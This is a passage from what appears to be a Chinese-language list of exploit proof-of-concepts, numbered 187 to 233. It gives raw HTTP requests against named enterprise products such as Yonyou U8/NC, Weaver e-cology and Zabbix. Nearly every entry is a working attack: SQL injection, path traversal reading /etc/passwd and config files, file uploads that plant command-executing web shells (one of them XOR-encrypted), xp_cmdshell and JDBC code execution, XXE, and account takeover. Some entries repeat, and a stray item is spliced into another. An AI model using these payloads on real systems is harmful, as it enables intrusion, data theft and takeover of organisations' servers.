POST /admin/configApp/queryPrintTemplate HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json

{"appId":"hkmp","data":{"adminUserCode":"test1234","adminUserName":"test1234","appName":"悟空 POS Win 版' AND (SELECt 5 from (select(sleep(2)))x) and 'zz'='zz","configGroup":"1","mchId":"0001"},"deviceId":"hkmp","mchId":"hkmp","nonce":3621722933,"sign":"hkmp","timestamp":1719306504}
```

187.用友 U8 Cloud BusinessRefAction SQL 注入漏洞

```
GET
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.web.reference.BusinessRefAction&method=getTaskRepTreeRef&taskId=1%27);WAITFOR+DELAY+%270:0:1%27-- HTTP/1.1
Host: {{Hostname}}
```

188.用友 U8+CRM reservationcomplete.php 逻辑漏洞

```
GET
/pub/help.php?key=YTozOntpOjA7czoyNDoiLy4uLy4uLy4uL2FwYWNoZS9waHAuaW5pIjtpOjE7czoxOiIxIjtpOjI7czoxOiIyIjt9 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

189.锐捷智能运维管理平台 getToken-SQL 注入漏洞

```
POST /auth-ui/v1/api/user/token/getToken HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Type: application/x-www-form-urlencoded

account=admin');SELECT
PG_SLEEP(5)--&password=6e0f9e14344c5406a0cf5a3b4dfb665f87f4a771a31f7edbb5c72874a32b2957 §
```

190.安美数字酒店宽带运营系统-weather.php-任意文件读取漏洞

```
GET /user/weather.php?Lang=../../../etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
```

191.用友-U8-CRM-attrlist 存在 SQL 注入漏洞

```
POST /devtools/tools/attrlist.php?DontCheckLogin=1&isquery=1 HTTP/1.1
Host:
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;
charset=UTF-8

obj_type=1';WAITFOR DELAY '0:0:5'--
```

192.用友 U8+CRM reservationcomplete.php 逻辑漏洞

```
GET /background/reservationcomplete.php?ID=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.116 Safari/537.36
```

193.亿赛通电子文档管理系统 SecretKeyService SQL 注入漏洞

```
GET /CDGServer3/SecretKeyService?command=sameKeyName&keyName=1'+WAIT
FOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.2100.110 Safari/537.36
```

194.方天云智慧平台/setImg.ashx 任意文件上传漏洞

```
POST /Data/setImg.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----21909179191068471382830692394
Connection: close
```

```
------219091791910684713828306923 94
Content-Disposition: form-data; name="Filedata"; filename="asd.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStand
ardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Writ
e(out.ReadToEnd() +
EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------219091791910684713828306923 94--
```

195.章管家/updatePwd.htm 任意账号密码重置漏洞

```
POST /app/updatePwd.htm HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Type: application/x-www-form-urlencoded

mobile=18888888888&newPassword=12312dsa12&equipmentName=android&version=4.0.0&to
ken=dingtalk_token
```

196.红海 EHR 系统/pc.mob sql 注入漏洞

```
GET
/RedseaPlatform/goApp/pc.mob?id=1%27%20AND%20(SELECT%204802%20FROM%20(SELECT(S
LEEP(5)))ndMq)%20AND%20%27NEoX%27=%27NEoX HTTP/1.1
Host: {{Hostname}}
Cookie: JSESSIONID=905D36CF9349B41FBFB0203D2BAA8CCC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
```

197.赛蓝企业管理平台/System_FocusList 任意文件上传

```
POST /SystemModule/System_FocusList/SubmitUploadify?FolderId=1&UserId=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/99.0.4844.74 Safari/537.36
```

```
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="Filedata"; filename="11.aspx"
Content-Type: image/png

<%@Page Language="C#"%>
<%Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));System.IO.File.Delete(Request.PhysicalPath);%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
```

198.WookTeam /searchinfo SQL 注入漏洞

```
GET
/api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cversion%28%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

199.东华医疗协同办公系统/common/templateFile 任意文件下载漏洞

```
GET /common/templateFile?template_name=../../WEB-INF/web.xml HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

200.智互联智联云采云交货协同平台 download 任意文件读取漏洞

```
GET /adpweb/static/..;/a/sys/runtimeLog/download?path=/etc/hosts HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

201.用友 NC /portal/pt/file/upload 任意文件上传漏洞

```
POST
/portal/pt/file/upload?pageId=login&filemanager=nc.uap.lfw.file.FileManager&iscover=true&billi
tem=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwebapps%5Cnc_web%5C HTTP/1.1
Host: x
Content-Type: multipart/form-data;boundary=d0b7a0d40eed0e32904c8017b09eb305
Content-Length: 201

--d0b7a0d40eed0e32904c8017b09eb305
Content-Disposition: form-data; name="file"; filename="we.jsp"
Content-Type: text/plain

<%out.print("hello world");%>

--d0b7a0d40eed0e32904c8017b09eb305--
```

202.用友畅捷通 T+ FileUploadHandler 任意文件上传漏洞

```
POST /tplus/SM/SetupAccount/FileUploadHandler.ashx/;/login HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Length: 220
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=f95ec6be8c3acff8e3edd3d910d3b9a6

--f95ec6be8c3acff8e3edd3d910d3b9a6
Content-Disposition: form-data; name="file"; filename="fpbifm.asp"
Content-Type: image/jpeg

changjietongrce
<%Response.Write(now())%>


--f95ec6be8c3acff8e3edd3d910d3b9a6--
```

203.MoticDSM /UploadService/Page/style 任意文件读取漏洞

```
GET /UploadService/Page/style?f=C:\\windows\win.ini HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
```

204.润申信息科技 ERP CommentStandardHandler.ashx 接口存在 sql 注入漏洞

```
POST /PDCA/ashx/CommentStandardHandler.ashx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Host: xx.xx.xx.xxx
Content-Length: 107
Connection: close

action=detailInfo&fileid=1+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1')),3,32))<0--
```

205.润申信息科技 ERP ashx/DefaultHandler.ashx 接口存在 sql 注入漏洞

```
POST /ashx/DefaultHandler.ashx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Host: xx.xx.xx.xx
Content-Length: 113
Connection: close

action=GetDetail&status=300&id=1+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1')),3,32))<0--
```

206.用友 U8+CRM 系统 reservationcomplete.php SQL 注入致命令执行漏洞

```
GET
/bgt/reservationcomplete.php?DontCheckLogin=1&ID=1112;exec%20master..xp_cmdshell%20%27echo%20^%3C?php%20phpinfo();?^%3E%20%3E%20D:\U8SOFT\turbocrm70\code\www\test.php%27; HTTP/1.1
Host: x
```

207.用友 NC /portal/pt/psnImage/download SQL 注入漏洞

```
GET
/portal/pt/psnImage/download?pageId=login&pk_psndoc=1'||case%20when%20ascii(substr(user,1,1))>111%20then%201%20else%201/0%20end||' HTTP/1.1
Host:x
```

208.Zabbix 后台 ping 脚本 存在命令注入漏洞(CVE-2024-22116)

```
POST /zabbix.php?action=host.create HTTP/1.1
Host: 192.168.95.135
Content-Length: 901
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://192.168.95.135
Referer: http://192.168.95.135/zabbix.php?action=host.edit
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Cookie: tab=3;
zbx_session=eyJzZXNzaW9uaWQiOiJiN2ZjODRkYTg0NmZkMzQwZjM3Y2FiYjM3MDUwNzBiYiIsInNlcnZlckNoZWNrUmVzdWx0Ijp0cnVlLCJzZXJ2ZXJDaGVja1RpbWUiOjE3MjM3MTE2MDgsInNpZ24iOiJiOGNhZDRhMDM4ZDk2YWIwMDlhY2I3N2M4MTVlODMyY2Q1MzU5MDYyYTliNjhkNWU1MzliZjBhZmIxM2ViMjAyIn0%3D
Connection: close

_csrf_token=cbf362d8cb3143251cfd80e9f5b3d52514c1c112124e8f5cc17b0787f1d7e854&host=test&visiblename=&groups%5B0%5D=4&interfaces%5B1%5D%5Bitems%5D=&interfaces%5B1%5
```

```
D%5BisNew%5D=true&interfaces%5B1%5D%5Binterfaceid%5D=1&interfaces%5B1%5D%5Btype
%5D=1&interfaces%5B1%5D%5Bip%5D=127.0.0.1&interfaces%5B1%5D%5Bdns%5D=%7B%24HO
ST.CONN%7D&interfaces%5B1%5D%5Buseip%5D=0&interfaces%5B1%5D%5Bport%5D=10050&
mainInterfaces%5B1%5D=1&description=&proxy_hostid=0&status=0&ipmi_authtype=-1&ipmi_p
rivilege=2&ipmi_username=&ipmi_password=&tags%5B0%5D%5Btag%5D=&tags%5B0%5D%5Bv
alue%5D=&show_inherited_macros=0&macros%5B0%5D%5Bmacro%5D=%7B%24HOST.CONN%7
D&macros%5B0%5D%5Bdiscovery_state%5D=3&macros%5B0%5D%5Bvalue%5D=127.0.0.1%3Bt
ouch%20%2Ftmp%2Fssssssss&macros%5B0%5D%5Btype%5D=0&macros%5B0%5D%5Bdescriptio
n%5D=&inventory_mode=-1&tls_connect=1&tls_in_none=1&tls_accept=1&tls_psk_identity=&tls
_psk=&tls_issuer=&tls_subject=
```

209.用友移动管理系统 uploadApk.dopk_obj 存在任意文件上传漏洞

```
POST /maportal/appmanager/uploadApk.dopk_obj= HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 196

--fa48ebfef59b133a8cd5275661b35d2c
Content-Disposition: form-data; name="downloadpath"; filename="59209.jsp"
Content-Type: application/msword

<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
--fa48ebfef59b133a8cd5275661b35d2c--
```

210.红帆 OA iorepsavexml.aspx 文件上传漏洞

```
POST
/ioffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename=a1b2c3d4.asp&filepath=/upfil
es/rep/pic/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
Connection: close
```

```
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b"
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
```

211.泛微运维平台存在任意管理员用户创建漏洞

```
POST /cp/hookenAddUser.json HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Referer: http://127.0.0.1:9081/
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=aaaEIkqSaYEMfgL35g59y; ecology_JSessionid=aaaEIkqSaYEMfgL35g59y; __randcode__=5fa7e1e0-d222-4bab-9744-2084a8667fa7; MJSESSIONID=abcQIjujB49rSg3OI5Ibz
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Origin: http://127.0.0.1
Content-Length: 2
{"name":"ceshi","loginName":"BSWmjrqVrLui9nerRfFQFvtS1gbNbLDzYLembVIDnoeDn/h9Wo1a/zWCagouwDNGWIQyzueNs7+rai3mBvRuuJNRHtC/FoLpWIDLqiV9xkN9U/2hLHpVprnJcHQhjTx/79uP3wGHyhd95yjJgbXiocgfSWOwBJu4nUdQvX7p8O6NlD47FKDLFzeMAILaei4oDV7qqWdzF6tC+1fWAkdISDJYwkjTYZ0Vwb7qIq8dCj+7Juim4/I4xREPB86JhVuyQ4g5tTjvpmziUeby4uLfJJjDXCC3Gk2FrOOjNvZT+2Qk3xaqFvJ04rnn0eNL5XlFBXfpPa2WAbmJqEEUKy6NEw==","paw":"EaPqo3LKSnvE1FkfvPODn9QzNWGb24BGfvNRn0ScJ2w2bEY02TlJGaPQOo/1SmIpYkEplA4s69aWPsDQUlwDyZjnJHRa1VVgJAxkDYUhtiH5YJbLKmOwYMYqYygxQ0VaH6trV3jqQaLert+KuToc6YDA4cE4bTxEvPHbsuRTAJpQyibkDYVRRUjeTtgr/gUyiOH0OcbZnyDT2RGGdZNxeFkejU0/78vR5BpZ6DKSmmbPzQ4WGfgFtG4I4It3vy42wSorBatBFRp/sOZywIOzleVVs3IWLAQinKyythq9WjZXg7kxojge52njMdydaeTlH5zJMGtKFG/h1C8LRQax4Q==","roleid":"admin"}
```

212.智联云采 SRM2.0 runtimeLog/download 任意文件读取漏洞

```
GET /adpweb/static/%2e%2e;/a/sys/runtimeLog/download?path=c:\\windows\win.ini HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
5. 停车场后台管理系统 ToLogin SQL 注入漏洞
POST /Login/ToLogin HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Admins_Account=1' AND (SELECT 8104 FROM (SELECT(SLEEP(5)))dEPM) AND 'JYpL'='
```

213.AVCON-系统管理平台 download.action 存在任意文件读取漏洞

```
GET /download.action?filename=../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,imag
e/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

214.方正全媒体采编系统存在 syn.do 信息泄露漏洞

```
GET /newsedit/assess/syn.do&type=org HTTP/1.1
host: {{Hostname}}
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,imag
e/svg+xml,*/*;q=0.8
accept-language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
accept-encoding: gzip, deflate
```

```
connection: close
```

215.智慧校园(安校易)管理系统 FileUpAd.aspx 任意文件上传漏洞

```
POST /Module/FileUpPage/FileUpAd.aspx?file_tmid=upload HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----219091791910684713828306923 94
Connection: close

------219091791910684713828306923 94
Content-Disposition: form-data; name="File"; filename="asd.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript" validateRequest="false" %><%var c=new
System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var
out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStand
ardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " +
Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Writ
e(out.ReadToEnd() +
EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------219091791910684713828306923 94--
```

216.科荣 AIO 管理系统 endTime 参数存在 SQL 注入漏洞

```
GET /moffice?op=showWorkPlanList&type=1&beginTime=1&endTime=1*&sid=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
```

217.亿赛通电子文档安全管理系统 getAllUsers 信息泄露漏洞

```
POST /CDGServer3/openapi/getAllUsers HTTP/1.1
```

```
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

pageSize=10000&pageNumber=1
```

218.亿赛通电子文档安全管理系统 logincontroller 接口存在远程代码执行漏洞

```
POST /CDGServer3/logincontroller HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

fromurl=/LdapAjax&token=1&command=testConnection&hosts=ldap://10.1.10.10:1379/CN=account,OU=exp,DC=exp,DC=com&users=account&dns=CN=account,OU=exp,DC=exp,DC=com&dns2=OU=exp,DC=exp,DC=com&type=0&pwds=123456
```

219.AVCON-网络视频服务系统 editusercommit.php 存在任意用户重置密码漏洞

```
POST /avcon/av_user/editusercommit.php?currentpage=1&_ZQA_ID={ZQA_ID} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

userid=admin&username=administration&password=123456&rpassword=123456&question=admin&answer=123&gender=%E7%94%B7&birthday=0000-00-00&edutypeid=0&phone=&mobile=&email=&address=&postcode=&go=-2&confirm=+++%E7%A1%AE%E5%AE%9A+++
```

220.紫光电子档案管理系统 login 信息泄露漏洞

```
GET /Application/Runtime/Logs/login/24_08_09.log?_ZQA_ID={ZQA_ID} HTTP/1.1
Host: {{Hostname}}
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

221.云时空 ERP 系统 online 接口信息泄露漏洞

```
GET /sys/user/online HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
```

222.TOTOLINK CP450 v4.1.0 Telnet 服务路由器硬编口令漏洞 (CVE-2024-7332)

```
GET /web_cste/cgi-bin/product.ini    HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

223.同为 TVT DVR 安防 queryDevInfo 信息泄露漏洞(CVE-2024-7339)

```
POST /queryDevInfo HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-type: text/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>
```

224.TurboMeeting 认证命令 generate_csr 注入漏洞

```
POST /as/wapi/generate_csr HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded

sid=sid&common_name=1"%20out%20/dev/null"`curl%20example.com`&company_name=1&st
ate=1&city=1&country=US&submit=Generate+CSR
```

225.泛微 e-cology H2 远程代码执行漏洞

```
POST /api/dw/connSetting/testConnByBasePassword HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/91.0.4472.114 Safari/537.36
ETEAMSID: THIRD_5df581c6ead1301006674a3f03607c1d
Content-Type: application/json

{"dbType": "mysql5", "dbUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER
hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES
AS$$//javascript\njava.lang.Runtime.getRuntime().exec(\"whoami\")$$"}
```

226.奥威亚云视频平台 UploadFile.aspx 存在文件上传漏洞

```
POST /Services/WeikeCutOut/UploadFile.aspx?VideoGuid=/../../&_ZQA_ID={ZQA_ID} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----sajhdjqwjejqwbejhqwbjebqwhje

------sajhdjqwjejqwbejhqwbjebqwhje
Content-Disposition: form-data; name="file"; filename="hash.aspx."
Content-Type: image/jpeg

<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
------sajhdjqwjejqwbejhqwbjebqwhje--
```

227.国泰新点 oa 协同系统 uploadFile 任意文件上传漏洞

```
POST /EMP7/file/uploadFile.%61ction;style=common.png HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
```

```
Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="update.jsp"
Content-Type: image/png

<% Runtime.getRuntime().exec(request.getParameter("i"));%>
------WebKitFormBoundaryD5Mawpg068t7pbxZ--
```

228.万户 ezOFFICE receivefile_gd.jsp recordId SQL 注入漏洞

```
GET
/defaultroot/modules/govoffice/gov_documentmanager/receivefile_gd.jsp;.js?recordId=221;wait
for+delay+'0:0:7'--+- HTTP/1.1
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/124.0.6367.155 Safari/537.36
Host: {{Hostname}}
```

229.九思 OA /jsoa/WebServiceProxy XXE 漏洞

```
POST /jsoa/WebServiceProxy HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
Connection: close

<!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM ""file:etc/passwd"" >]> <root>
<name>&xxe;</name> </root>
```

230.LVS 精益价值管理系统 LVS.Web.ashx SQL 注入漏洞

```
POST /ajax/LVS.Web.AgencytaskList,LVS.Web.ashx?_method=GetColumnIndex&_session=r
HTTP/1.1
Host: {{Hostname}}
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: text/plain; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

src=AgencytaskList
gridid=1' UNION ALL SELECT @@VERSION--
```

231.LVS 精益价值管理系统 DownLoad.aspx 存在任意文件读取漏洞

```
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

232.正方移动信息服务管理系统 oaMobile_fjUploadByType 存在文件上传漏洞

```
POST /zftal-mobile/oaMobile/oaMobile_fjUploadByType.html HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/99.0.1707.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept: */*

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=""yhm""

123
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=""zid""

456
```

```
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=""sign""

789
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name=""file""; filename=""409.jsp""
Content-Type: text/plain

<%@page import=""java.io.*""%><%if(request.getParameter(""f"")!=null){FileOutputStream
os=new
FileOutputStream(application.getRealPath(""/"")+request.getParameter(""f""));InputStream
is=request.getInputStream();byte[] b=new byte[512];int
n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}%>
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

233.汇智企业资源管理系统存在文件上传漏洞

```
